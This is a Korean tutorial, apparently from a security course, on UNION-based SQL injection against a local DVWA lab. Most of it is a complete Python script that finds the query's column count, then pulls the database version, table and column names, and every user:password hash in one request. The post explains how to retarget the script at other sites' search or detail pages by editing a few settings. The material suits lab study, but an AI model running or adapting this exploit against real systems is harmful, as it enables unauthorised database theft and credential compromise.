UNION과 GROUP_CONCAT으로 요청 한 번에 통째로 덤프하기
🛡️ 강사 제공 인가된 실습 환경에서 수행
로컬 실습 환경(DVWA) 전용 학습 자료다. 허가받지 않은 시스템에 쓰면 안 된다.
| URL | http://192.168.10.105/dvwa/vulnerabilities/sqli/ (파라미터 id) |
| 유형 | UNION 기반 (In-band) SQL Injection — 결과가 화면에 직접 출력되는 경우 |
| 적용 가능 곳 | 게시판 검색·상세보기 등 쿼리 결과가 화면에 넘어오는 모든 페이지 |
Blind와의 결정적 차이
| 구분 | Blind | UNION |
|---|---|---|
| 결과가 화면에? | 안 보임 (참/거짓만) | 직접 출력됨 |
| 뽑는 방법 | 예/아니오 스무고개 (글자당 7번) | UNION으로 결과 자리에 끼워넣음 |
| 요청 횟수 | 수천 번 | 몇 번이면 끝 (GROUP_CONCAT으로 통째) |
Blind는 결과가 안 보여서 스무고개가 필수였지만, UNION은 결과가 화면에 뜨니까 요청 한 번으로 테이블 전체를 통째로 긁어올 수 있다.
핵심 원리
UNION SELECT 는 원래 쿼리 결과 뒤에 내 쿼리 결과를 붙여서 같이 출력시키는 기법이다.
-1' UNION SELECT user, password FROM users-- -
id=-1→ 원본 쿼리는 매칭 안 됨 (내 데이터만 깔끔히 출력)UNION SELECT→ 그 자리에 users 테이블 값을 끼워넣음-- -→ 뒤쪽 따옴표 주석 처리
여기에 GROUP_CONCAT 을 쓰면 여러 행을 한 칸에 몰아넣어 요청 한 번에 전체 테이블을 뽑는다.
전제 조건
UNION은 양쪽 SELECT의 컬럼 개수가 같아야 동작한다. 그래서 공격 전에 ORDER BY N 으로 원본 쿼리의 컬럼 수를 먼저 알아낸다. N을 늘리다 에러가 나는 직전 값이 컬럼 수다.
코드 구조
| 함수 | 하는 일 |
|---|---|
find_columns() | ORDER BY N 으로 컬럼 개수 자동 탐지 |
union() | UNION 페이로드 주입 → 결과 파싱 |
parse_result() | 응답 HTML에서 데이터 뽑는 정규식 (다른 게시판에 쓸 땐 여기만 수정) |
자동으로 뽑는 것은 컬럼 개수, VERSION()·DATABASE()·CURRENT_USER(), 현재 DB 테이블 목록, users 테이블 컬럼 목록, 그리고 users 계정·해시 전체 덤프(요청 1번)다.
다른 대상에 쓸 때
상단 설정 블록만 고치면 된다.
BASE_URL,PARAM— 대상 URL과 파라미터 이름QUOTE— 문자열 컨텍스트면', 숫자면 빈 문자열RESULT_RE— 가장 중요. 그 페이지에서 데이터가 찍히는 HTML 패턴에 맞게 정규식 수정
전체 코드
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
UNION 기반 SQL Injection 자동 추출 스크립트 (In-band / 결과가 화면에 보이는 경우)
대상: http://192.168.10.105/dvwa/vulnerabilities/sqli/ (id 파라미터)
* 로컬 실습(DVWA) 환경 전용. 허가받지 않은 시스템에 사용 금지.
* Blind와 달리 쿼리 결과가 페이지에 직접 출력되므로, 한 번의 요청으로
GROUP_CONCAT을 이용해 데이터를 통째로 뽑아온다. (스무고개 불필요)
* 게시판 등 다른 대상에 쓸 때는 아래 [설정]과 parse_result() 만 고치면 된다.
"""
import requests
import re
import sys
requests.packages.urllib3.disable_warnings()
# ────────────────────────────── 설정 ──────────────────────────────
TARGET = "192.168.10.105"
BASE_URL = f"http://{TARGET}/dvwa/vulnerabilities/sqli/"
PARAM = "id" # 주입할 GET 파라미터 이름
EXTRA = {"Submit": "Submit"} # 함께 보내야 하는 파라미터
QUOTE = "'" # 문자열 컨텍스트면 "'", 숫자면 "" 로 변경
COMMENT = "-- -" # 뒤쪽 구문 주석 처리
COOKIES = {
"security": "low",
"PHPSESSID": "<SESSION_ID>", # ← 세션 만료 시 교체
}
HEADERS = {
"User-Agent": ("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/146.0.0.0 Safari/537.36"),
}
# 페이지 출력에서 데이터가 찍히는 두 자리(컬럼)를 파싱하는 정규식
# DVWA sqli: <pre>ID: ...<br>First name: {c1}<br>Surname: {c2}</pre>
RESULT_RE = re.compile(
r"First name:\s*(.*?)<br\s*/?>\s*Surname:\s*(.*?)</pre>",
re.DOTALL,
)
SEP_ROW = "0x0a" # 행 구분자 (개행) → GROUP_CONCAT SEPARATOR
SEP_FIELD = "0x3a" # 필드 구분자 (콜론) → CONCAT
# ────────────────────────────────────────────────────────────────
def request(payload: str) -> str:
"""페이로드를 주입해 응답 본문을 반환한다."""
params = {PARAM: payload, **EXTRA}
r = requests.get(BASE_URL, params=params,
headers=HEADERS, cookies=COOKIES, verify=False)
return r.text
def parse_result(html: str):
"""응답에서 (컬럼1, 컬럼2) 출력값들을 뽑아 리스트로 반환한다."""
return RESULT_RE.findall(html)
def find_columns(max_cols: int = 20) -> int:
"""ORDER BY N 으로 원본 쿼리의 컬럼 개수를 알아낸다."""
for n in range(1, max_cols + 1):
payload = f"1{QUOTE} ORDER BY {n}{COMMENT}"
html = request(payload)
# 컬럼 수를 초과하면 에러가 나며 정상 결과가 사라진다
if "Unknown column" in html or "error in your SQL" in html.lower() \
or not parse_result(html):
cols = n - 1
print(f"[+] 컬럼 개수: {cols} 개")
return cols
return max_cols
def union(select_list: str, from_clause: str = "") -> list:
"""
UNION SELECT 를 주입하고 파싱된 결과를 반환한다.
select_list : "col1, col2" 형태 (컬럼 수와 일치해야 함)
"""
frm = f" FROM {from_clause}" if from_clause else ""
# id에 매칭 안 되는 값(-1)을 줘서 원본 행은 빼고 UNION 행만 출력되게 함
payload = f"-1{QUOTE} UNION SELECT {select_list}{frm}{COMMENT}"
return parse_result(request(payload))
def main():
# 1) 컬럼 개수 파악 (UNION은 컬럼 수가 맞아야 동작)
cols = find_columns()
if cols < 2:
print("[!] 데이터를 실을 컬럼이 부족함 (2개 이상 필요)")
sys.exit(1)
# 출력에 쓰이는 두 자리 외 나머지 컬럼은 NULL로 채운다
def slots(a, b):
filler = ",".join(["NULL"] * (cols - 2))
return f"{a},{b}" + ("," + filler if cols > 2 else "")
# 2) DB 기본 정보 (한 방에)
print("\n── DB 정보 ──")
rows = union(slots("VERSION()", "CONCAT(DATABASE(),0x3a,CURRENT_USER())"))
for ver, dbuser in rows:
print(f" 버전 : {ver}")
print(f" DB:사용자 : {dbuser}")
# 3) 현재 DB의 테이블 목록
print("\n── 테이블 목록 ──")
tbls = union(
slots(f"GROUP_CONCAT(table_name SEPARATOR {SEP_ROW})", "NULL"),
"information_schema.tables WHERE table_schema=DATABASE()",
)
tables = tbls[0][0].split("\n") if tbls else []
for t in tables:
print(f" - {t}")
# 4) users 테이블 컬럼 목록
print("\n── users 테이블 컬럼 ──")
cols_r = union(
slots(f"GROUP_CONCAT(column_name SEPARATOR {SEP_ROW})", "NULL"),
"information_schema.columns "
"WHERE table_schema=DATABASE() AND table_name=0x7573657273", # 'users'
)
print(f" {cols_r[0][0] if cols_r else '(없음)'}")
# 5) users 테이블 계정/해시 덤프 (한 번의 요청으로 전부)
print("\n── users 덤프 (user:password) ──")
dump = union(
slots(
f"GROUP_CONCAT(user,{SEP_FIELD},password SEPARATOR {SEP_ROW})",
"NULL",
),
"users",
)
if dump:
for line in dump[0][0].split("\n"):
print(f" {line}")
if __name__ == "__main__":
main()
한 줄 요약
결과가 화면에 보이면 UNION으로 결과 자리에 데이터를 끼워넣어 한 번에 통째로 뽑고, 안 보이면 Blind로 스무고개한다. 같은 SQLi여도 화면 출력 여부에 따라 기법이 갈린다.